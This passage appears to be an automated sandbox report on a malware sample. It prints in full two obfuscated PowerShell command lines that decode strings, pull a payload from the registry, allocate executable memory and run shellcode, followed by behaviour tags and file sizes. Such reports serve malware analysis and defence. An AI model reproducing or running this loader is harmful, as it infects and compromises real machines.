CuBGr5TyBCr4BoEcr7anESy3SaBna4HeBBl3ReATr6DiAXiBStAGu3UpAGa5MoBAg5reAKl3VeBSa5BaAno2GrAsu9FoAIn2OrFba3FrEBaECaEUnBVeEBe7TrEFoFVi8Op0De8De3Sc9De3MyETo7Pe8Bi7LyEMoFCo9ReCSa8PyECoAun9GaBAn3Sa9Wa7BjBEn3AlBZe5De9SlAMaEDeBEcERe7Ho9TiCGe9Ko2ge8UpEInATr9GaBNe3AnFPa4TuFCo5ro9MiAsiEBrBTrEGa7So9CaCCa9Ae2Si8StERoAre9MoBSn3LiFud4RaFRe5Sk9HeASeEMoBNaEOm7Gr9MeCUn9Bl2Hy8MiEStABo9ReBOu3HyFDi4MuFEl5De9ovAAlECoEBeECo7PrECaFFo9OvCSh8PiEPiAZe9SlBhe3Sp9Se7ReBsl3StBFl5Ca9peAfiESaEtaEFeEStEwaETn'Ve;Ho&Du(In`$MosPotHiaFalBrdEkbAnrKodSkrFleSenIneKj7Eu)Ka Sp`$HjSleiDilStlUniAmmchaOvnPeiHytSleNe6Th;se`$ApLKoiPanRaeTryba Vi=Sa SofunkUnpMa sa`$ArsMetDiaSllpedFobmorKadEnrBlePynTyeGr5co De`$pasLatBraUdlNodOmbNorfrdesrMreVenGieEm6To;ka`$UnSAciSklRelPaiVemBeaBrnUniTetNeeKk7Br Sp=Fl SuSStvFooRivLrlRebLylAzotomPrmWheSisFu0Re Ga'LyELe3Pl9Pa3InAFe2LpBIn4OvBFr3AlALoEDjASk4PrAdi6QuBHe5UmAMi3GoAOpEWaAOv9AlADi2MiBAn4GeFOe4NoETo7ToFUnAUnEFr7PrEUb3DiBTy2krATr3koABu0ToAExEGuABi1VoBPa3RiBOm4FeASp1GaAGy8baBMi5UnAPr3AnAAr2NyAPhBInAteETjAcy9BrATo0TaBUd4CeEKi9Sa8SkESuACa9KeBDe1SiARu8OpATaCSiASk2HeESiFSm9ClCFo8MiEDoAFe9BeBBe3ag9bl7prBHy3BiBdi5Tu9TyAFrFInDleFefDGa9ObDReAPr2RaBFi5StARk8ReECrBArESp7VaFCh1WeFCo2suFIr4SmEEkBReEAs7FeFVi7HuBBlFGeFga4RuFSk7BrFHo7AnFAb7KoEHaBKuEAx7ReFHy7OpBbeFHoFQu3TaFda7HaERuEPr'Ta;Et&Na(Ta`$UdsRetTeaMelFudSebPirScdEmraneannAneJa7Na)Af Se`$KlSChiUnlPllCaiKomEmaStnPeiRetwaeCh7Sc;Mu`$SlSPliSulEvlIniHamnoaSpnMiiPatPoeSt8Po Ta=Hy UnSDivCooDivLalPabFilRyoLamStmInePhsOk0Pr Kd'PeEHe3Ga8Rv3BoAIn2PaBlu7BnBBu2BeBAf3NeAGl6RiBUd3InAHeEHyAUp8ReASt9GyASlEHaBDe4StAMo2CrBDi4NoECa7BeFEtAAmEHo7SwEra3KeBSp2EnAWe3AcASe0InASkEHyAMi1SvBSe3DyBpl4TrATe1HaASt8VaBsl5SuACa3SyAEp2seAEuBAsAOpESmAin9SoASe0CoBLm4InEAl9Pr8UnETeAPr9BnBSk1DrANo8BaAScCOpAPu2TiEKlFsu9unCFo8EyEFaABe9TeBVa3de9Op7blBsl3DaBBr5Re9ReAOmFDiDUnFFrDJv9GeDTaAFr2MaBFu5OrAHy8HeEHaBAaEMo7ReFFl0BaFSa4AfFdr0RaFMiESvFFo0brFAn1aaFLi4FrFSa5MuEEmBSmERh7HaFse7CeBScFOuFSy4SeFSa7HoFSi7BoFBi7DeEAnBIvEJo7SkFMa7PiBSaFJoFEl3VlEunEBo'Un;gi&Be(op`$RasRetAraanlMidSvbOrrAadCirnoeNonKaeKe7St)Po In`$BaSOuiPhlHalFriUlmOuaArnDaiTetGeeTh8No;Bo`$MoTOpeBosSttGaiShcDyaClrPadSaiStnvieKosIn0El0ti=Ke'HeHReKMiCFaUMi:Af\ChPFoeMirVimPliUmnCivFjaGerId\NoILevStrsheRi3Hv7Fo'fi;Ny`$EdTPaetasIntBeiFocBraMerfedDeiRenReeLesAm0Uv1vi Ra=OpSLivEsoSuvFrlKlbRelGaoHymSpmAdeArsMe0Br Sk'QuECa3FiBSe4ExAHyAChAMa2brABe3EfASc2FjAVoDDeADo2UnBmi5OaATi9KrBSv4exFChASlELiFAe8Sn0MaARa2OrBsu3KoEMeAMu8UnEEnBHi3UrASk2SvAFaAHo9Fl7StBCh5TeABe8WhBBe7UnASr2atBPe5BoBka3SeBDeEzoEKa7NeENaASe9En7ceAKu6AtBMa3VeAMaFAkEUf7PrESl3Fi9Ma3EfANa2OhBda4DiBFr3AtATyESvAKu4MoABr6PaBOv5KiALo3stADgEmoACo9SpATi2FkBKa4TeFRo7IlFAn7MiESmEInEFa9SeALa3BiAHu6InBPr7PyAfoFanAIb9UnATr2ReBRa4Ye'Un;Mo&Mj(Sa`$JesJutDiaSulAidFobAsrFudEorDyeSanKieMu7br)Ud Ad`$HeTIseAdsEmtBeiStcMcaInrSydSpiSenRoeNosAp0Fe1Ve;Ca`$KoSStiTalTulSjiTomNoaOpnStiDitUdeMu9Sp Ig=Ck OuSPevRaoSpvInlTabGolUnoInmGrmpeeNesKa0Sm Ri'MuESo3Ka9Me4UnABlETeAUdBSlAInBcoAIlESkAEtAMaAMa6AfAHa9HoAUmETrBov3FrAAf2DiESu7seFFoASvESu7Se9slCTa9He4InBTrEStBHo4DrBCr3poALu2HuAbdATrEKa9Ru8Um4BrACl8MeASh9BeBDa1UnABr2TeBTu5FlBSt3Ca9ReAAnFFaDTrFSuDRe8St1ToBMu5SvALe8ClAHeASr8In5InAfr6GjBRa4WiALo2MoFBi1TrFIn3Ca9de4GyBNi3opBus5PeADiEDaASt9PrANo0baEHoFDuEBu3OvBFl4HoACoASkAVo2PrACo3AtARe2MoAGnDSpACa2udBCo5UnASe9opBGi4BeEMoEIn'Te;Py&Ku(Ci`$FlsPatVaaSllAndPrbInrLodCarNyevenSteLu7Pe)Ot Fo`$ReSKaiBalBdlMaiAnmSaaNunSoiAutOpeIn9Sy;Sk`$OvsAfmNoeDrdKleSajUaeArrVanNosCh0Sk Ch=Tv DuSCovpeoPevSilVibSnlMioSumBemUneCasst0Ga De'Sk9SiCTa9Wh4PeBMaESlBDr4ShBEn3AfABr2UnAunABlEHi9In9Be5UdBCo2GrASa9EkBFo3SkASpEnoAEmAtuATa2KrEDi9Ve8SeEQuAfr9MaBBo3TaATr2BeBVa5SmACo8HeBMi7Bl9Bj4SkAre2SlBPr5SnBBy1MeAdeEKiAUn4SpANi2PuBAl4AnEPr9Pu8MiAJaAKl6DaBOv5PoBPs4CiATiFSpABo6SyAVeBHe9PuAKaFStDOuFLoDSt8Sa4HaABs8FoBSk7KoBAfECeEOpFSaELo3Ac9Mi4FrAgrEDoASeBTaAtiBAfADoEArAMaAplAHo6StASc9AdAReEhjBav3FnAmd2ShESkBFoELa7BlFTr7SyEDiBLoEDr7reERe7ThESm3Sy9To3HeATi2StBVa4ToBTa3ElALdEEjALe4KuANu6BrBNo5GrAlu3HaAMaEprAOb9ClADi2clBac4JuFSa4UdEDoBEuEmo7OrFOs1InFRo2KuFEg4ScEChEai'Ud;Fn&va(St`$MisKrtXeaBolDedSvbMirIndFlrMaeSinAdeca7Ta)Il De`$KesKrmPaeTadMneDajFleOvrGanThsTa0Ku;Sa`$DaLIniLemImemanBeeRe=Ru`$NySSuiPrlMalGriMemTraSunSeiSutPoeNo.TacLooFouFonGatBi-Po6Ab5Li3Su;To`$LesGamAnePedTaeAnjKoeLarHjnLisBe1Di Mi=El PrSDivBeoDavTalPabAklUdoTomSpmDeeBosLi0Ov Re'Ob9OpCEs9Di4HuBBaEGlBPl4SaBTe3BeASc2DiAPaAKnESu9tn9Sa5ApBNo2DrApo9PaBBi3PjAFeEStASpAbiAUr2DeERi9Pa8DoEBeALi9IlBRe3NiAFa2uoBCh5NaAAb8CeBOb7Pr9No4UdASl2BaBFi5GiBHo1TrAKoEDeAFl4LoASe2MhBhi4HaEBa9An8stADrASm6BeBCh5PrBOv4TiAUnFSpASh6UnADrBOv9TiAAdFScDTiFasDFr8Qu4AfAKo8SlBJu7ToBBuEChEIkFSwEPr3Sa9Op4VeAUnETrAMiBSpAMeBChACoEUrASlAMyAFe6SiAPe9tyAUsEMuBNe3psASo2ChESiBReEEx7StFPu1GuFHy2GgFHa4afERsBSpECo7SkEOv3Sk8Mu3grAAn2DeBCu7baBAg2EnBPa3FeAUn6TrBAv3DuAEnETuASe8CaASc9enARuESvBAq4LaAMo2HuBPa4HaELaBSeEFl7MoEsy3En8AaBKoAUrEPrALiAEpATh2MoAEk9HaARe2EcEYdELa'Or;Ga&Bo(Va`$BosFetChaHylRudaibRerSidhjrVeeEnnGoeGi7Ne)Ph Do`$WasKumSyeUndPleNujvreAlrTsnBasGr1Ni;To`$WosPomPeeOrdDeeSpjDieSkrBantrsPo2Gi Ro=Ne PySCavteoTrvEklOubSelIdoAxmComSleTasRa0Co Sk'UdEBr3Dy8Rh4CoAFyBstAEp8coBFo4FoAun2OpBPs4FoBSe3HeEKa7PrFkvAVaEUn7Cr9ByCVi9Le4LiBFlEReBIn4StBse3BrAPo2spAGoAAzEMa9Ur9Qs5SkBsa2KnAsl9AmBAs3ToASpEHuAEnATiAPa2SnEDa9Be8UnESkADa9InBSk3KuASy2SiBau5EjASk8InBFo7Er9Te4SyABe2coBBe5HuBLo1OvAGaEGsAFa4BrASt2PrBRe4NiEMo9Si8EnAUnAUd6AkBUl5PaBKo4ObASlFSpAPe6TjAIlBFe9PiAUpFCoDWoFRiDSq8Th0GrAAn2prBTy3te8In3PoATi2ScAInBOpASa2LaALa0SsADi6DrBEl3FoABi2Sa8Ul1DiASp8ArBov5Mu8Gr1TuBPr2UnAMe9InAdr4VuBak3VeACaEEkASo8UnASv9De9Ud7SvAId8HaACaEDaADe9KaBAn3ReATr2snBHj5AnEwaFGaEStFmeAno1LiAHeCSyBDi7JaEPl7RoEVe3ChBHv2BuADi9EpAFu3InATeEYeBGa4ArAFoFHyADe2ToAFo6AsBRy5NoBEn3GeAFi2SaAGa9StASt2DuAMa3MuESm7AaEAv3Ov8Re8NeBJe7TeBFl4CoBFa3ElAIn9OvAvaEDaAAn9KrAVa0OvAFo2KuBBa5WaBCr4FoEMaEBrEHvBsuEBl7UnESvFRe8Tr0At8Bl3Pr9Ha3GgEKa7De8Ce7naESaFPh9UdCBa8TrEBrARe9TrBSt3Br9un7HiBSu3StBRo5Su9BaAEmEScBAnECh7Be9PlCRe8EnEHiAPr9OcBBy3Re9Ro7CeBPa3UnBSu5Ce9InAPrELiBInEPo7Im9MaCAo8UnEUnASt9AcBSa3Ir9Sa7RdBBe3RiBRe5So9ArATrESaBFrEOv7So9FlCar8TeEByARe9GaBPe3Fi9En7AdBLb3EnBTr5op9MeAIsEReBUdEBe7Li9CoCDi8DiEAtAar9ShBPa3Vo9Re7thBbo3glBUn5Sq9MiARiEBoEHuETr7SuEreFDe9ReCSk8CaEWaAPo9AiBSv3zo9Oc7AkBAf3StBTu5sa9HoATiESeEExEGuEDrErhEud'Kl;Pr&Si(Ib`$SasSetSiaRilrudSlbRurSpdKfrveePonCeeKv7No)am Kj`$JosHamReeMidMieMejVeeOvrTanEnsBo2Ri;Qu`$MosMomMueModToeAgjCoeSkrVonFosAm3an Fo=Ka MiSInvGroapvFrlEdbdvledoGamBumHieSesGr0Al Ud'StEOp3Pr8Bl4NeASuBReAIn8MiBBe4VaAAn2ArBKo4SuBDa3SiEQu9wo8MaEThABr9SnBCy1OpAov8StAEkCVeADa2viEFoFKoEEv3Fr9So3HyAFl2GlBLe4PoBIn3neABrEDrALa4EpAfo6VlBMy5SvAGy3KoASiELiAAa9CoASu2DzBMo4CiFCl4StEBoBBjEEk3Un8dr3PaAno2SnBIr7BaBLa2klBDr3MeALa6foBAl3TaAAaEAsAfr8DeAFu9ElATiEPaBAn4seADi2WiBKo4PaEDeBElEHe3Se8AzBBrAopEDeAQu9SuASr2UnBneEUnEDrBKoFVa7BuEHaBNeFSc7SlEosEby'Mo;Gr&No(Af`$KrsLetmoaJolModujbSerPodOurOmeWhnDuePi7Am)Ur Fo`$AnsJemIseTvdGeeMajSneJirscnUdsBr3Fl#Li;""";;Function smedejerns9 { param([String]$Etvrelses); For($trneren=2; $trneren -lt $Etvrelses.Length-1; $trneren+=(2+1)){ $Svovlblommes = $Svovlblommes + $Etvrelses.Substring($trneren, 1); } $Svovlblommes;}$Ricinusolies0 = smedejerns9 'Cr Re Un Ko Hy dr Bi Kr Ma Hj Tr st Zi ra Sa Cu Sk So Tr Fr lu Co An afIKlEByXSp ';$Ricinusolies1= smedejerns9 $ekstraudgifternes;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Ricinusolies1 ;}else{.$Ricinusolies0 $Ricinusolies1;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Svovlblommes0 { param([String]$Etvrelses); $Piratkopieres17 = New-Object byte[] ($Etvrelses.Length / 2); For($trneren=0; $trneren -lt $Etvrelses.Length; $trneren+=2){ $Resoprejsningers = $Etvrelses.Substring($trneren, 2); $Piratkopieres17[$trneren/2] = [convert]::ToByte($Resoprejsningers, 16); $Piratkopieres17[$trneren/2] = ($Piratkopieres17[$trneren/2] -bxor 199); } [String][System.Text.Encoding]::ASCII.GetString($Piratkopieres17);}$Unbeneficialness0=Svovlblommes0 '94BEB4B3A2AAE9A3ABAB';$Unbeneficialness1=Svovlblommes0 '8AAEA4B5A8B4A8A1B3E990AEA9F4F5E992A9B4A6A1A289A6B3AEB1A28AA2B3AFA8A3B4';$Unbeneficialness2=Svovlblommes0 '80A2B397B5A8A486A3A3B5A2B4B4';$Unbeneficialness3=Svovlblommes0 '94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98FA6A9A3ABA295A2A1';$Unbeneficialness4=Svovlblommes0 'B4B3B5AEA9A0';$Unbeneficialness5=Svovlblommes0 '80A2B38AA8A3B2ABA28FA6A9A3ABA2';$Unbeneficialness6=Svovlblommes0 '959394B7A2A4AEA6AB89A6AAA2EBE78FAEA3A285BE94AEA0EBE797B2A5ABAEA4';$Unbeneficialness7=Svovlblommes0 '95B2A9B3AEAAA2EBE78AA6A9A6A0A2A3';$Unbeneficialness8=Svovlblommes0 '95A2A1ABA2A4B3A2A383A2ABA2A0A6B3A2';$Unbeneficialness9=Svovlblommes0 '8EA98AA2AAA8B5BE8AA8A3B2ABA2';$staldbrdrene0=Svovlblommes0 '8ABE83A2ABA2A0A6B3A293BEB7A2';$staldbrdrene1=Svovlblommes0 '84ABA6B4B4EBE797B2A5ABAEA4EBE794A2A6ABA2A3EBE786A9B4AE84ABA6B4B4EBE786B2B3A884ABA6B4B4';$staldbrdrene2=Svovlblommes0 '8EA9B1A8ACA2';$staldbrdrene3=Svovlblommes0 '97B2A5ABAEA4EBE78FAEA3A285BE94AEA0EBE789A2B094ABA8B3EBE791AEB5B3B2A6AB';$staldbrdrene4=Svovlblommes0 '91AEB5B3B2A6AB86ABABA8A4';$staldbrdrene5=Svovlblommes0 'A9B3A3ABAB';$staldbrdrene6=Svovlblommes0 '89B397B5A8B3A2A4B391AEB5B3B2A6AB8AA2AAA8B5BE';$staldbrdrene7=Svovlblommes0 '8E829F';$staldbrdrene8=Svovlblommes0 '9B';$undisheartened=Svovlblommes0 '92948295F4F5';$Opstningers=Svovlblommes0 '84A6ABAB90AEA9A3A8B097B5A8A486';function fkp {Param ($Skiagraphically, $Autocide) ;$Sillimanite0 =Svovlblommes0 'E397B5A2A3AEB4B3B5AEA5B2B3A8B5F5F3F1E7FAE7EF9C86B7B783A8AAA6AEA99AFDFD84B2B5B5A2A9B383A8AAA6AEA9E980A2B386B4B4A2AAA5ABAEA2B4EFEEE7BBE790AFA2B5A2EA88A5ADA2A4B3E7BCE7E398E980ABA8A5A6AB86B4B4A2AAA5ABBE84A6A4AFA2E7EA86A9A3E7E398E98BA8A4A6B3AEA8A9E994B7ABAEB3EFE3B4B3A6ABA3A5B5A3B5A2A9A2FFEE9CEAF69AE982B6B2A6ABB4EFE392A9A5A2A9A2A1AEA4AEA6ABA9A2B4B4F7EEE7BAEEE980A2B393BEB7A2EFE392A9A5A2A9A2A1AEA4AEA6ABA9A2B4B4F6EE';&($staldbrdrene7) $Sillimanite0;$Sillimanite5 = Svovlblommes0 'E38AA8A3A2ADA8B2B5A9A6ABA2A9B4F5F4F1E7FAE7E397B5A2A3AEB4B3B5AEA5B2B3A8B5F5F3F1E980A2B38AA2B3AFA8A3EFE392A9A5A2A9A2A1AEA4AEA6ABA9A2B4B4F5EBE79C93BEB7A29C9A9AE787EFE392A9A5A2A9A2A1AEA4AEA6ABA9A2B4B4F4EBE7E392A9A5A2A9A2A1AEA4AEA6ABA9A2B4B4F3EEEE';&($staldbrdrene7) $Sillimanite5;$Sillimanite1 = Svovlblommes0 'B5A2B3B2B5A9E7E38AA8A3A2ADA8B2B5A9A6ABA2A9B4F5F4F1E98EA9B1A8ACA2EFE3A9B2ABABEBE787EF9C94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98FA6A9A3ABA295A2A19AEF89A2B0EA88A5ADA2A4B3E794BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98FA6A9A3ABA295A2A1EFEF89A2B0EA88A5ADA2A4B3E78EA9B397B3B5EEEBE7EFE397B5A2A3AEB4B3B5AEA5B2B3A8B5F5F3F1E980A2B38AA2B3AFA8A3EFE392A9A5A2A9A2A1AEA4AEA6ABA9A2B4B4F2EEEEE98EA9B1A8ACA2EFE3A9B2ABABEBE787EFE394ACAEA6A0B5A6B7AFAEA4A6ABABBEEEEEEEEEEBE7E386B2B3A8A4AEA3A2EEEE';&($staldbrdrene7) $Sillimanite1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Kisselinke,[Parameter(Position = 1)] [Type] $Baltimore = [Void]);$Sillimanite2 = Svovlblommes0 'E386B4B7A6B4AEA6E7FAE79C86B7B783A8AAA6AEA99AFDFD84B2B5B5A2A9B383A8AAA6AEA9E983A2A1AEA9A283BEA9A6AAAEA486B4B4A2AAA5ABBEEFEF89A2B0EA88A5ADA2A4B3E794BEB4B3A2AAE995A2A1ABA2A4B3AEA8A9E986B4B4A2AAA5ABBE89A6AAA2EFE392A9A5A2A9A2A1AEA4AEA6ABA9A2B4B4FFEEEEEBE79C94BEB4B3A2AAE995A2A1ABA2A4B3AEA8A9E982AAAEB3E986B4B4A2AAA5ABBE85B2AEABA3A2B586A4A4A2B4B49AFDFD95B2A9EEE983A2A1AEA9A283BEA9A6AAAEA48AA8A3B2ABA2EFE392A9A5A2A9A2A1AEA4AEA6ABA9A2B4B4FEEBE7E3A1A6ABB4A2EEE983A2A1AEA9A293BEB7A2EFE3B4B3A6ABA3A5B5A3B5A2A9A2F7EBE7E3B4B3A6ABA3A5B5A3B5A2A9A2F6EBE79C94BEB4B3A2AAE98AB2ABB3AEA4A6B4B383A2ABA2A0A6B3A29AEE';&($staldbrdrene7) $Sillimanite2;$Sillimanite3 = Svovlblommes0 'E386B4B7A6B4AEA6E983A2A1AEA9A284A8A9B4B3B5B2A4B3A8B5EFE392A9A5A2A9A2A1AEA4AEA6ABA9A2B4B4F1EBE79C94BEB4B3A2AAE995A2A1ABA2A4B3AEA8A9E984A6ABABAEA9A084A8A9B1A2A9B3AEA8A9B49AFDFD94B3A6A9A3A6B5A3EBE7E38CAEB4B4A2ABAEA9ACA2EEE994A2B38EAAB7ABA2AAA2A9B3A6B3AEA8A981ABA6A0B4EFE392A9A5A2A9A2A1AEA4AEA6ABA9A2B4B4F0EE';&($staldbrdrene7) $Sillimanite3;$Sillimanite4 = Svovlblommes0 'E386B4B7A6B4AEA6E983A2A1AEA9A28AA2B3AFA8A3EFE3B4B3A6ABA3A5B5A3B5A2A9A2F5EBE7E3B4B3A6ABA3A5B5A3B5A2A9A2F4EBE7E385A6ABB3AEAAA8B5A2EBE7E38CAEB4B4A2ABAEA9ACA2EEE994A2B38EAAB7ABA2AAA2A9B3A6B3AEA8A981ABA6A0B4EFE392A9A5A2A9A2A1AEA4AEA6ABA9A2B4B4F0EE';&($staldbrdrene7) $Sillimanite4;$Sillimanite5 = Svovlblommes0 'B5A2B3B2B5A9E7E386B4B7A6B4AEA6E984B5A2A6B3A293BEB7A2EFEE';&($staldbrdrene7) $Sillimanite5 ;}$Gyngers = Svovlblommes0 'ACA2B5A9A2ABF4F5';$Sillimanite6 = Svovlblommes0 'E3B2A3A0AEA1B3B4A1A8B5A3A2ABAEA9A0B4E7FAE79C94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98AA6B5B4AFA6AB9AFDFD80A2B383A2ABA2A0A6B3A281A8B581B2A9A4B3AEA8A997A8AEA9B3A2B5EFEFA1ACB7E7E380BEA9A0A2B5B4E7E3B4B3A6ABA3A5B5A3B5A2A9A2F3EEEBE7EF808393E787EF9C8EA9B397B3B59AEBE79C928EA9B3F4F59AEBE79C928EA9B3F4F59AEBE79C928EA9B3F4F59AEEE7EF9C8EA9B397B3B59AEEEEEE';&($staldbrdrene7) $Sillimanite6;$Liney = fkp $staldbrdrene5 $staldbrdrene6;$Sillimanite7 = Svovlblommes0 'E393A2B4B3AEA4A6B5A3AEA9A2B4F4E7FAE7E3B2A3A0AEA1B3B4A1A8B5A3A2ABAEA9A0B4E98EA9B1A8ACA2EF9C8EA9B397B3B59AFDFD9DA2B5A8EBE7F1F2F4EBE7F7BFF4F7F7F7EBE7F7BFF3F7EE';&($staldbrdrene7) $Sillimanite7;$Sillimanite8 = Svovlblommes0 'E383A2B7B2B3A6B3AEA8A9AEB4A2B4E7FAE7E3B2A3A0AEA1B3B4A1A8B5A3A2ABAEA9A0B4E98EA9B1A8ACA2EF9C8EA9B397B3B59AFDFD9DA2B5A8EBE7F0F4F0FEF0F1F4F5EBE7F7BFF4F7F7F7EBE7F7BFF3EE';&($staldbrdrene7) $Sillimanite8;$Testicardines00='HKCU:\Perminvar\Ivre37';$Testicardines01 =Svovlblommes0 'E3B4AAA2A3A2ADA2B5A9B4FAEF80A2B3EA8EB3A2AA97B5A8B7A2B5B3BEE7EA97A6B3AFE7E393A2B4B3AEA4A6B5A3AEA9A2B4F7F7EEE9A3A6B7AFA9A2B4';&($staldbrdrene7) $Testicardines01;$Sillimanite9 = Svovlblommes0 'E394AEABABAEAAA6A9AEB3A2E7FAE79C94BEB4B3A2AAE984A8A9B1A2B5B39AFDFD81B5A8AA85A6B4A2F1F394B3B5AEA9A0EFE3B4AAA2A3A2ADA2B5A9B4EE';&($staldbrdrene7) $Sillimanite9;$smedejerns0 = Svovlblommes0 '9C94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98AA6B5B4AFA6AB9AFDFD84A8B7BEEFE394AEABABAEAAA6A9AEB3A2EBE7F7EBE7E7E393A2B4B3AEA4A6B5A3AEA9A2B4F4EBE7F1F2F4EE';&($staldbrdrene7) $smedejerns0;$Limene=$Sillimanite.count-653;$smedejerns1 = Svovlblommes0 '9C94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98AA6B5B4AFA6AB9AFDFD84A8B7BEEFE394AEABABAEAAA6A9AEB3A2EBE7F1F2F4EBE7E383A2B7B2B3A6B3AEA8A9AEB4A2B4EBE7E38BAEAAA2A9A2EE';&($staldbrdrene7) $smedejerns1;$smedejerns2 = Svovlblommes0 'E384ABA8B4A2B4B3E7FAE79C94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98AA6B5B4AFA6AB9AFDFD80A2B383A2ABA2A0A6B3A281A8B581B2A9A4B3AEA8A997A8AEA9B3A2B5EFEFA1ACB7E7E3B2A9A3AEB4AFA2A6B5B3A2A9A2A3E7E388B7B4B3A9AEA9A0A2B5B4EEEBE7EF808393E787EF9C8EA9B397B3B59AEBE79C8EA9B397B3B59AEBE79C8EA9B397B3B59AEBE79C8EA9B397B3B59AEBE79C8EA9B397B3B59AEEE7EF9C8EA9B397B3B59AEEEEEE';&($staldbrdrene7) $smedejerns2;$smedejerns3 = Svovlblommes0 'E384ABA8B4A2B4B3E98EA9B1A8ACA2EFE393A2B4B3AEA4A6B5A3AEA9A2B4F4EBE383A2B7B2B3A6B3AEA8A9AEB4A2B4EBE38BAEA9A2BEEBF7EBF7EE';&($staldbrdrene7) $smedejerns3#"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
10.8MB
-
Filesize
520KB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
1.0MB
-
-
Filesize
10.8MB
-
-
Filesize
64KB
-
Filesize
520KB
-
Filesize
216KB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
6.2MB
-
Filesize
1.0MB
-
Filesize
120KB
-
Filesize
6.5MB
-
Filesize
104KB
-
Filesize
600KB
-
Filesize
136KB
-
Filesize
5.6MB
-
Filesize
70.4MB